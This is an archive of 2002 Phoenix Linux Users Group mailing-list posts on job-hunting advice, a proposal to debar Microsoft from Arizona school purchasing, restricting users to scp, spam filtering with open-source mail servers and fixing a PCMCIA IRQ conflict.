plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Thu, 20 Jun 2002 11:31:50 -0700 (PDT) Subject: Help getting experience - explaining myself In-Reply-To: <7D2FB294FA311F4299D03CC8D3904370716596@mainex5.asu.edu> Message-ID: <20020620183150.38177.qmail@web13901.mail.yahoo.com> Perhaps I should explain myself. I do love programming, but compared to many of the programmers I see, I don't think I would be too successful in finding a job as a programmer. I do well in the programming classes, and at home, I just really do not know how much I know because I have never really create programs in a working environment. I am planning on taking the java certification test in late August, though The networking comes about because it fascinates me. That is the area I would like to go into is to write software for networking. However, I feel I need to know the in's and out's of different networks to be able to accomplish much. I have a small network at home, and as the funds allow, I do try to grow the network to learn different things, i.e. Samba, NFS, and the next thing is to set up a Gateway. The only thing about this is at home, with just me being the user, I don't know what type of things happen in the "real world" with different users. Another thing is the network sitting at home does not help me get a job. This does not seem to help too much as experience. The employer doesn't know what is going at my apartment. The other thing is the fact that I want out of the hotel industry and into the computer field. That is why I said any computer related job would do. Sitting in a back office doing upgrades would be better than what I am doing. The main point is that I am an older man, and I would really like to get to the point that I can get a job that I enjoy and pays reasonably. A few months ago, someone sent in an e-mail asking how someone could get experience. Someone replied to find someone that is doing what you are interested in and try to work with them and learn the "ropes". This was just my way of doing that. Sorry for the long e-mail, mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 18:48:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 20 Jun 2002 11:48:06 -0700 Subject: Map to SCC for the Installfest References: Message-ID: <00ea01c2188b$045e60d0$0301010a@tickticker.com> would anyone like me to bring a current copy (rev 0.92 PR1) of Lindows to the intall fest? Anthony ----- Original Message ----- From: To: Sent: Thursday, June 20, 2002 10:22 AM Subject: Re: Map to SCC for the Installfest > I think Steve's point is that the press release says "A map is available > online at PLUG's web site, ( http://plug.phoenix.az.us ). " > > The main page does NOT have a map or an obvious link to a map. There should > be one since the press release says we have a map at that URL. Just a > "InstallFest map here." linking to > http://www.plugpresents.com/installfest/maps.html would be good enough. > > Alan > > On Thu, 20 Jun 2002 10:06:40 -0700 Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > The PLUG website should have a link to the Install Fest web site right at the > > top. If not, it is at www.plugpresents.com/installfest. > > On Thursday 20 June 2002 09:26, you wrote: > > The Press release mentions that there is a map to SCC on the primary > > website. I wasn't able to find it. > > > > -Scott > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 18:56:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 20 Jun 2002 11:56:18 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <5.1.0.14.0.20020620104215.024cbd90@localhost> References: <5.1.0.14.0.20020619093307.024ec210@localhost> <5.1.0.14.0.20020620104215.024cbd90@localhost> Message-ID: <0206201156180B.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I think that the Arizona Center for Law in the Public Interest is the right place. Tim Hogan has taken on the establishment and won many times in the past. It would seem that this is an action waiting for a powerful, influential organization to take up. On Thursday 20 June 2002 10:43, you wrote: > I was wondering because I do know a civil attorney that might take it on > but since I don't know for sure, I will call him anyway just to see. > > Kimi > > At 6/19/02, you wrote: > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >IMHO, which is decidedly non-legal, I think that debarment proceedings are > >neither civil nor criminal, but rather a violation of procurement rules. > > I could be wrong, but if my reading of the procurement rules is accurate, > > MS could be debarred from contracting with the state, its departments, > > its school districts, and its cities and municipalities. > > > >On Wednesday 19 June 2002 09:34, you wrote: > > > Would this be civil? > > > > > > Kimi > > > > > > At 6/19/02, you wrote: > > > >-----BEGIN PGP SIGNED MESSAGE----- > > > >Hash: SHA1 > > > > > > > >According to the state administrative rules, it looks like most if not > > > > all of the school districts could be required to initiate debarment > > > > proceedings against MS. Anyone know an attorney who is willing to > > > > take something like this on pro-bono? > > > > > > > >On Tuesday 18 June 2002 21:39, you wrote: > > > > > Here is the response I received from David Cantelme, Deer Valley > > > > > school board member. He is the one who has > > > > > arizonalawinstitute@yahoo.com as his email address. It sounds to > > > > > me that all the school districts and the state itself should be > > > > > starting debarment proceedings against MS. We need to start > > > > > contacting the legislators, Attorney General's office and your > > > > > local school superintendents. > > > > > > > > > > > > > > > ----- Original Message ----- > > > > > From: "david cantelme" > > > > > To: "Tom Achtenberg" > > > > > Sent: Tuesday, June 18, 2002 6:08 AM > > > > > Subject: Re: Computer Purchasing Guidelines > > > > > > > > > > > > > > > Dear Mr. Actenburg: > > > > > > > > > > They do not, but similar rules found in the state > > > > > school district procurement rules do apply. Both sets > > > > > of rules have their origen in the state procurement > > > > > code. You can find the school district procurement > > > > > rules by going to the secretary of state web site. > > > > > Click on administrative rules. Go to title seven. > > > > > Then scroll down to R7-2-1001. That's where the rules > > > > > begin. They continue to about R7-2-1175. > > > > > > > > > > Debarment procedures do exist in the school district > > > > > procurement rules. You would need to address your > > > > > comments on debarment to the adminsitration. That's > > > > > who would initiate the procedure. If the > > > > > administration initiates a debarment procedure, the > > > > > board determines whether to appoint a hearing officer. > > > > > It goes from there to the officer with appropriate > > > > > due process to the contractor. The board itself has > > > > > no involvement in the hearing process. The officer > > > > > must be independent to ensure a fair hearing under our > > > > > constitutional system. > > > > > > > > > > --- Tom Achtenberg wrote: > > > > > > I was wondering if the Maricopa County purchasing > > > > > > policies listed below apply > > > > > > to DVUSD purchasing pprocedures? > > > > > > > > > > > > Maricopa County policies. Interesting references: > > > > > > > > > > > > MC1-101 DEFINITIONS > > > > > > 25."CONTRACTOR" means any Person who has a Contract > > > > > > with a County > > > > > > Governmental unit. For purposes of Article 5, > > > > > > Contractor may also mean > > > > > > Respondent as defined in this Article. > > > > > > 36."DEBARMENT" means an action taken by the County > > > > > > Administrative > > > > > > Officer under MC1-902 to prohibit a Person from > > > > > > Participating in > > > > > > Maricopa County Procurements. > > > > > > 80."PERSON" means any corporation, Business, > > > > > > individual, union, > > > > > > committee, club, other organization or group of > > > > > > individuals. > > > > > > 113."SUSPENSION" means an action taken by the County > > > > > > Administrative > > > > > > Officer under MC1-902 temporarily disqualifying a > > > > > > Person from > > > > > > participating in Maricopa County Procurements. > > > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > > > > > > > [Microsoft is considered a Contractor and a Person. > > > > > > This is important > > > > > > below.] > > > > > > > > > > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > > > > All Specifications shall seek to promote overall > > > > > > economy for the purpose > > > > > > intended and encourage competition in satisfying > > > > > > Maricopa County's needs > > > > > > and shall not be unduly restrictive. > > > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > > > > > > > [Is there any technology that is Microsoft > > > > > > exclusive? I believe there > > > > > > are sites that explain how to replace Exchange > > > > > > Server completely using > > > > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > > > > with mySQL or PostgreSQL; > > > > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > > > > Office suite is > > > > > > replaceable with the very comparable Open Office > > > > > > suite.] > > > > > > > > > > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > > > > B. The causes for Debarment or Suspension shall > > > > > > include, but are not > > > > > > limited to, the following: > > > > > > 2. Conviction of any Person or any subsidiary or > > > > > > affiliate of any Person > > > > > > under any statute of the Federal government, this > > > > > > State or its political > > > > > > subdivision or any other State for: > > > > > > k. Any other offense indicating a lack of business > > > > > > integrity or business > > > > > > honesty which affects responsibility as a > > > > > > Contractor. > > > > > > 3. Conviction or civil judgment finding a violation > > > > > > by any Person or any > > > > > > subsidiary or affiliate of any Person under State or > > > > > > Federal Antitrust > > > > > > Statutes. > > > > > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > > > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > > > > been convicted of a > > > > > > violation of Federal Antitrust Statues, cannot be a > > > > > > County Contractor. > > > > > > > > > > > > There are many alternatives to Microsofts products. > > > > > > Alternatives that have > > > > > > broken no laws, Federal or Local, are well supported > > > > > > and used by many large > > > > > > governments (Germany, Taiwan, et al). As a > > > > > > concerned voter in the DVUSD, I > > > > > > must point out that I cannot support criminal > > > > > > behavior and would hope that my > > > > > > Governing Board would see fit to do the same and > > > > > > ONLY consider alternatives > > > > > > as Microsoft is clearly unqualified to meet District > > > > > > requirements. > > > > > > > > > > > > Thank You, > > > > > > > > > > > > Tom Achtenberg > > > > > > > > > > > > PS this message was written ans sent to you using a > > > > > > computer that is 100% > > > > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > > > > operating system, KDE windows > > > > > > like desktop and the K-mail email client. All if > > > > > > these programs come under > > > > > > the "General Public License" which means they are > > > > > > 100% free to the public for > > > > > > personal and commercial use. > > > > > > -- > > > > > > Visit the Mountain Ridge Band Site at > > > > > > > > > > http://www.mrhsband.org > > > > > > > > > > > > > > > __________________________________________________ > > > > > Do You Yahoo!? > > > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > > > http://fifaworldcup.yahoo.com > > > > > > > > > > > > > > > > > > > > --- > > > > > Outgoing mail is certified Virus Free. > > > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > > > > > > > ________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > > doesn't post to the list quickly and you use Netscape to write > > > > > mail. > > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > >- -- > > > >Jim > > > > > > > >Freedom is worth protecting > > > > > > > >-----BEGIN PGP SIGNATURE----- > > > >Version: PGP 6.5.8 > > > > > > > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a > > > >uqHWgWriXgbXcZvWptly5CtJ > > > >=tKg8 > > > >-----END PGP SIGNATURE----- > > > >________________________________________________ > > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >- -- > >Jim > > > >Freedom is worth protecting > > > >-----BEGIN PGP SIGNATURE----- > >Version: PGP 6.5.8 > > > >iQA/AwUBPRC4BSsk3ywszI1FEQLMygCeP8J3OAAe0HtrEvQsqzXiRt3bHRgAn20/ > >jvqee9WrnED2XJex6UfhtK/4 > >=EQ9s > >-----END PGP SIGNATURE----- > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRIlUisk3ywszI1FEQLjAwCgi8Gat/DzwXLLps86ERKNaV0Pz5sAnjgs 6J1BRN9hvnL3eQCQofqRJj57 =tVDI -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 19:31:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 20 Jun 2002 12:31:31 -0700 (PDT) Subject: favicon.ico for your Linux website Message-ID: This message is in MIME format. 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Pick a language...like say...Java. Get a good algorithm book and develop some simple programs that show these algorithms (ie sorting, searching, recursion etc...). Develop small applets to show on a job interview. Along with these applets, write up a diagram and pseudocode to explain what the algoritm does. In case of Java, draw some simple UML diagrams to show the relationships between your classes. Understanding some basic algrithm concepts helps in a lot of ways. 1. Algoritms exist because some programmer from the past has solved some particular problem - you don't have to re-invent the wheel. 2. Understanding algoritm gives you a deeper understanding how programming really works. Control-flow statemetns, functions and proceedures are related somehow. Algorithms are a great example of how these programming pieces fit together as a whole. This suggestion probably won't land you a job right away, but you have to love programming. When you go to an interview, they will most likely sit you down on a computer and program something. Knowing some basic algorithms can help. You can use this as 'experience.' ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 20:34:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 20 Jun 2002 16:34:38 -0400 Subject: Limiting a user to scp and not ssh References: <1024591268.12366.33.camel@wwarner> Message-ID: <3D123C5E.BED06C7E@georgetoft.com> I tried that, and could not scp any files. George Bill Warner wrote: > > Your probably better off just setting there shell to /bin/false in > /etc/passwd. > > If there is every any kind of security hole in scp that someone could > exploit they could get in to your box with your current setup. > > Bill Warner > > On Wed, 2002-06-19 at 18:48, Matt Alexander wrote: > > I'm trying to configure a box so people can scp files to it, but can't > > actually ssh in. I created a script named scpsh with this in it: > > > > #!/bin/sh > > # > > exec /usr/bin/scp -t $HOME > > > > > > Then I added scpsh to /etc/shells and made it their shell in > > /etc/passwd. > > So now users can use scp to copy files over just fine, but when they try > > to ssh, it sits there until they hit a key, at which point they get: > > > > scp: protocol error: unexpected > > Connection to 1.2.3.4 closed. > > > > > > Is this the best way to handle this? Is there a better way that anyone > > knows of? > > Thanks, > > ~M > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- > Bill Warner > Unix/Linux Admin. > Direct Alliance Corporation > > Company required stuff: > > Contents are Direct Alliance Corporation Confidential > > This message is for the designated recipient(s) only and contains > Direct Alliance Corporation privileged and confidential information. > If you have received it in error, please notify the sender immediately > and delete the original. Any other use of this email is prohibited. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 20:34:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Warner) Date: 20 Jun 2002 13:34:50 -0700 Subject: Limiting a user to scp and not ssh In-Reply-To: References: Message-ID: <1024605291.12366.60.camel@wwarner> I didn't think you needed to have a valid shell to run scp. sorry Bill W On Thu, 2002-06-20 at 09:57, Matt Alexander wrote: > Uhhh... but I want them to be able to scp to my box. If I set their > shell to /bin/false, they can't scp in. > > > On 20 Jun 2002, Bill Warner wrote: > > > Your probably better off just setting there shell to /bin/false in > > /etc/passwd. > > > > If there is every any kind of security hole in scp that someone could > > exploit they could get in to your box with your current setup. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 21:10:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 20 Jun 2002 14:10:24 -0700 Subject: Limiting a user to scp and not ssh In-Reply-To: <1024605291.12366.60.camel@wwarner>; from wwarner@direct-alliance.com on Thu, Jun 20, 2002 at 01:34:50PM -0700 References: <1024605291.12366.60.camel@wwarner> Message-ID: <20020620141024.A25950@nadesico> How about this: - Set the user's shell to /bin/false - Edit your sshd.conf file to allow logins without a valid shell The results should allow you to run scp to copy files, but when ssh is run, it will start /bin/false as the default shell -- thereby immediately logging you out again. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org On Thu, Jun 20, 2002 at 01:34:50PM -0700, Bill Warner wrote: > I didn't think you needed to have a valid shell to run scp. > > sorry > > Bill W > > On Thu, 2002-06-20 at 09:57, Matt Alexander wrote: > > Uhhh... but I want them to be able to scp to my box. If I set their > > shell to /bin/false, they can't scp in. > > > > > > On 20 Jun 2002, Bill Warner wrote: > > > > > Your probably better off just setting there shell to /bin/false in > > > /etc/passwd. > > > > > > If there is every any kind of security hole in scp that someone could > > > exploit they could get in to your box with your current setup. > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- > Bill Warner > Unix/Linux Admin. > Direct Alliance Corporation > > Company required stuff: > > Contents are Direct Alliance Corporation Confidential > > This message is for the designated recipient(s) only and contains > Direct Alliance Corporation privileged and confidential information. > If you have received it in error, please notify the sender immediately > and delete the original. Any other use of this email is prohibited. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 21:06:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Warner) Date: 20 Jun 2002 14:06:37 -0700 Subject: Help getting experience In-Reply-To: <20020620194818.80772.qmail@web10602.mail.yahoo.com> References: <20020620194818.80772.qmail@web10602.mail.yahoo.com> Message-ID: <1024607198.12366.66.camel@wwarner> Any sugestins for a specific book? I would like to do this as well to help inprove my programming. Bill W On Thu, 2002-06-20 at 12:48, Alpha Zenon Sanchez wrote: > Here's what I'm doing, and perhaps you can do this > too. > > Pick a language...like say...Java. Get a good > algorithm book and develop some simple programs that > show these algorithms (ie sorting, searching, > recursion etc...). Develop small applets to show on a > job interview. > > Along with these applets, write up a diagram and > pseudocode to explain what the algoritm does. In case > of Java, draw some simple UML diagrams to show the > relationships between your classes. > > > Understanding some basic algrithm concepts helps in a > lot of ways. > > 1. Algoritms exist because some programmer from the > past has solved some particular problem - you don't > have to re-invent the wheel. > > 2. Understanding algoritm gives you a deeper > understanding how programming really works. > Control-flow statemetns, functions and proceedures are > related > somehow. Algorithms are a great example of how these > programming pieces fit together as a whole. > > This suggestion probably won't land you a job right > away, but you have to love programming. When you go > to an interview, they will most likely sit you down on > a computer and program something. Knowing some basic > algorithms can help. > > You can use this as 'experience.' > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 21:36:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 20 Jun 2002 14:36:36 -0700 Subject: Limiting a user to scp and not ssh In-Reply-To: <1024605291.12366.60.camel@wwarner> References: <1024605291.12366.60.camel@wwarner> Message-ID: <200206201436.45765.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 20 June 2002 01:34 pm, Bill Warner wrote: > I didn't think you needed to have a valid shell to run scp. You need a valid shell to do anything with ssh. Essentially, scp and sftp are wrappers for ssh that call '$SHELL -c scp/sftp'. With the commercial ssh, there is a program called ssh-dummy-shell, but this program is not available with OpenSSH. The following "shell" should do the same thing. Note that it only allows scp and not sftp connections. - -------- #include int main(int argc, char** argv) { if (--argc == 2 && strcmp("-c", *++argv) == 0 && strcmp("scp", *++argv) == 0) { execl(SFTPSERVERPATH, SFTPSERVERPATH, NULL); } exit(0); } - -------- Note that I have _not_ tested the above code, so wait for the reviews to poor in. ;-) - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9EkrqpNoctRtUIRQRAlkLAJ9MwNIusTLfWvOHdny/e0FqAFF4jwCcCxu3 Gj0XkEuJv2Vq/ATl7lfLUj4= =1IX0 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 21:54:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Thu, 20 Jun 2002 21:54:25 +0000 (GMT) Subject: SMTP mail relay server for SPAM filtering In-Reply-To: Message-ID: On Thu, 20 Jun 2002, Scott Henderson wrote: > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! The biggest problem when tackling spam filtering is political, not technical. One can eliminate almost all spam by simply not allowing HTML-encoded E-mails; refusing to accept E-Mail from sites that have improper reverse lookups, are listed in one of the many dial-up lists, and/or are coming from networks like AOL (but not from one of AOL's well-publicized mail servers); and by requiring that the To: header contain the target E-Mail address (i.e. refuse Blind carbon copies). The problem lies in the fact that with each of these significant changes, you're going to have a small amount of "collateral damage." The HTML E-mail filtering alone may bite you: if colleagues outside your network use Outlook, you might end up "accidentally" killing off messages intended for delivery. How are your users going to handle this situation? Is the spam problem bad enough that the vast majority of users are willing to deal with the infrequent problems of a proper message not getting through? After you've fought all the political battles (either in your head or literally hand-to-hand with your users), you might want to consider the following: Vipul's Razor is an excellent tool that filters spam based on a rating system. It's a bit "geeky", in that it is designed for unix geeks and probably isn't the easiest to deal with. However, I have heard of it working with Sendmail and exim in an arrangement not unlike what you desire (a front-end MTA ahead of Exchange). http://sourceforge/projects/razor is the sourceforge page. Exim (my personal favorite MTA) can handle the quantity of messages you're talking about (especially on a reasonably quick machine), and has the ability to add MAPS RBL and the like into it. It also can be configured as a front-end MTA, however not quite as cleanly as qmail or sendmail. I've done qmail as a front-end mail router/filter. It does work well for that functionality as well. If you're interested, mail me offlist and I'll see if I can find recipies for anti-spam for qmail (this was a responsibility of mine at a former employer). -Fedl From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 22:49:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Thu, 20 Jun 2002 15:49:47 -0700 Subject: Plug Certs? Message-ID: <3D125C0B.4070402@qwest.net> Hey all, Just a mindless musing maybe, but what about a PLUG mini certification for passing one of the classes that are gonna be offered. Just bouncing the idea offa yer skullz. Ray malbojia@qwest.net From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 22:53:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Thu, 20 Jun 2002 15:53:15 -0700 Subject: Help getting experience References: <20020620194818.80772.qmail@web10602.mail.yahoo.com> Message-ID: <3D125CDB.8030805@qwest.net> Alpha Zenon Sanchez wrote: >Here's what I'm doing, and perhaps you can do this >too. > >Pick a language...like say...Java. Get a good >algorithm book and develop some simple programs that >show these algorithms (ie sorting, searching, >recursion etc...). Develop small applets to show on a >job interview. > >Along with these applets, write up a diagram and >pseudocode to explain what the algoritm does. In case >of Java, draw some simple UML diagrams to show the >relationships between your classes. > > >Understanding some basic algrithm concepts helps in a >lot of ways. > >1. Algoritms exist because some programmer from the >past has solved some particular problem - you don't >have to re-invent the wheel. > >2. Understanding algoritm gives you a deeper >understanding how programming really works. >Control-flow statemetns, functions and proceedures are >related >somehow. Algorithms are a great example of how these >programming pieces fit together as a whole. > >This suggestion probably won't land you a job right >away, but you have to love programming. When you go >to an interview, they will most likely sit you down on >a computer and program something. Knowing some basic >algorithms can help. > >You can use this as 'experience.' >there are also a lot of not for profit groups that would like your volunteer work that you could use for experience also. Just a thought if you are interested email me off list @ malbojia@qwest.net > Ray >===== >Thanks, >Alpha Zenon Sanchez > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 23:16:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 20 Jun 2002 16:16:36 -0700 Subject: Plug Logo Update Message-ID: <200206201616.36289.zen2now@qwest.net> I just wanted to give you guys an update on the progress of the new image. Austin is done with the complete re-draw of Tux, and i must say it is the most beautiful computer generated Tux image i have ever seen. the lines are so clean, and aliasing is non-existent on the edges and should remain that way no matter how big or small the image is. he would have already been done with it, but our CEO has slammed him with a lot of work. so hopefully by next week sometime we will have a complete vector image, and by looks of it so far, one we will all be very proud to hang across our upper torso's. :~D slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 23:24:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jiva DeVoe) Date: Thu, 20 Jun 2002 16:24:14 -0700 Subject: Off-topic... Message-ID: So sue me... I know there's some other Mac OSX users on here... Anyone besides me into coding on OSX? Or interested in learning about it? Email off-list since this is off topic. :) (Though it IS an Open-source Unix based OS) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 23:01:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Thu, 20 Jun 2002 19:01:57 -0400 Subject: Need help with IRQ conflict with pcmcia network card Message-ID: <20020620230200.QLIO1131.lakemtao07.cox.net@smtp.central.cox.net> I fixed the problem by 1. setting all system devices to be plug-n-play in the bios 2. reset the config.opts to the defaults 3. uncommented the line "include port 0x1000-0x17ff" in config.opts. Pcmcia and networking now work. Mark > > From: Mark Phillips > Date: 2002/06/19 Wed PM 08:44:05 EDT> To: plug-discuss@lists.plug.phoenix.az.us > Subject: Need help with IRQ conflict with pcmcia network card > > The kernel (2.4.18) finally compiled (after 8 hours - see below) and actualy works! However, I now get an IRQ conflict with my ethernet pcmcia card! > > I get the error message > 3c589_cs RequestIRQ: Resource in use > in /var/log/messages. I added the line > module "3c589_cs" opts "irq_mask=0x2240" > to /etc/pcmcia/config.opts, but I still get the same message (based on the /etc/pcmcia/interrupts file and the bios settings, IRQ 6, 9 and 13 should be free; hence the 0x2240). My ethernet card is a 3Com 3c589D (Etherlink III) pcmcia card. > > Any brilliant (or not so brilliant) ideas will be greatly appreciated! > > Mark > > > > From: Mark Phillips > > Date: 2002/06/18 Tue PM 11:47:16 EDT> > To: plug-discuss@lists.plug.phoenix.az.us, kevin_brown@qwest.net > > Subject: Re: Re: Need Help with Redhat 7.3 Install > > > > Kevin, > > > > Thanks again for your help and for documenting this process! I should add one note to your instructions because, in my case, the first time I followed them the kernel build failed. > > > > I used the i586.config file instead of the i386, so that may be the difference. I made two changes to the i586.config file: > > > > 1. I changed CPU type to Pentium MMX (which is the processor in my Dell Inspiron 3000, and I am hoping for some improvement in performance - about 50% - 75% based on some Intel propaganda I read on the web for MMX) > > 2. I removed the pcmcia stuff as you described below. > > > > I think the build failed because one of the defaults in the i586.config file included pcmcia support for the QuickNet Internet LineJack/PhoneJack card. The error message (oops - I forgot to write it down) said the build failed due to some missing pcmcia related files. > > > > You can find this (bizarre??) card under Telephony Support. 